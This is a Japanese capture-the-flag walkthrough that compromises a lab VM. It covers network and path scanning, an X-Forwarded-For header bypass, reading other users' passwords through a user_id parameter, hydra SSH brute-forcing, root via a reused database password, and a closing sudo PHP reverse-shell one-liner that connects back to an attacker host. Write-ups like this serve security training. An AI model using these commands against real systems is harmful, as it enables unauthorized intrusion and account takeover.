このターゲットには 2 つのflag
があります。1 つは一般ユーザー用で、もう 1 つはroot
ユーザー用です。
ツールと脆弱性情報#
- netdiscover
- nmap
- gobuster
- hydra
- x-forwarded-for ローカルアクセス
- 水平特権昇格
- mysql パスワードはおそらく root のパスワードです
0x01 情報収集#
ターゲットのスキャン#
netdiscover
の-r
オプションを使用して192.168.1.0/16
をスキャンした結果は以下の通りです:
nmap
を使用してホストとポート情報をスキャンします:
nmap -sS -A -n -T4 -p- 192.168.1.12
ssh
とweb
の 80 ポートしか開いていないことがわかります。
パスのスキャン#
ほとんどの場合、パスのスキャンは必要ありませんが、作業を完全に行うために行います。
gobuster
を使用してパスをスキャンします:
gobuster dir -u http://192.168.1.12 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt
特に何もありませんが、robots.txt
は毎回チェックする必要があります。ファイルパスheyhoo.txt
を取得します。
取得した情報は以下の通りです:
Great! What you need now is reconn, attack and got the shell。
ホームページにアクセスすると以下のようになります:
ローカルからのアクセスのみ許可されていることがわかります。CTF の初心者問題であるx-forwarded-for
を127.0.0.1
に変更する必要があります。
多くの方法がありますが、パケットキャプチャでも可能です。プラグインも多数あります:Header Editor
、X-Forwarded-For Header
など。
ここではX-Forwarded-For Header
を使用します:
0x02 一般アカウントのシェル#
ホームページにアクセスします:
弱いパスワードでのログインを試みましたが、効果がありませんでした。そのため、アカウントを登録します:
ログイン後、リンクが変更されます:
http://192.168.1.12/index.php?page=dashboard&user_id=12
このuser_id=xxx
を 1 に変更すると、ユーザー名とパスワードが変更されます:
firefox
のウェブソースコードを確認すると、パスワードの非表示フィールドの属性type
をpassword
から他の任意の値に変更すると、パスワードを表示できることがわかります:
水平特権が存在し、パスワードも表示できるため、データベース全体のアカウントとパスワードを保存します。
ポートスキャンの際に、80
以外にも22
のssh
ログインがあることを忘れないでください。
hydra
と見つけたアカウントとパスワードを使用してssh
サービスを爆破します:
hydra -L user.txt -P passwd.txt -t 4 -I ssh://192.168.1.12
- -t:4 同時に接続するタスク数。
ssh
はテストで簡単にクラッシュするため。 - -I 煩わしい待ち時間をスキップすることを示します。
爆破に成功し、ssh
のアカウントとパスワードalice/4lic3
を取得しました。ログインします。
0x03 特権昇格 root#
ログイン後、現在のディレクトリを確認します:ls -al
.my_secret
ディレクトリで最初のflag
を取得します。
ウェブサイトのパスをスキャンする際に、robots.txt
以外にも他のものがあるようですので、ウェブサイトのルートディレクトリに移動して確認します:
cd /var/www/html
config
ディレクトリには、mysql
へのリンクの設定があります:
データベースに接続して情報を確認してみましょう:
指定された設定ファイルに基づいてデータベースを表示します:
これはウェブサイト上のユーザーデータベースであり、有用な情報はありません。
役に立たないと思っていたときに、もしかしたらこれは単なるデータベースのパスワードではないかと思いつきました。
データベースからログアウトし、root
ユーザーに切り替えます:su root
、データベースのパスワードを入力します:
中に入りました!WTF?
0x04 別の方法で特権昇格 root#
うまくいきませんね、これはディレクトリの表示操作ですよね?
以下では、技術的な内容のない別の方法を試してみましょう::quyin:1huaji::
今、kali
でnc -lvp 3333
をリッスンしています。
ターゲットでphp
のリバースシェルを実行します:
sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.2",3333);exec("/bin/sh -i <&3 >&3 2>&3");'
参考文献:
この記事は以上です。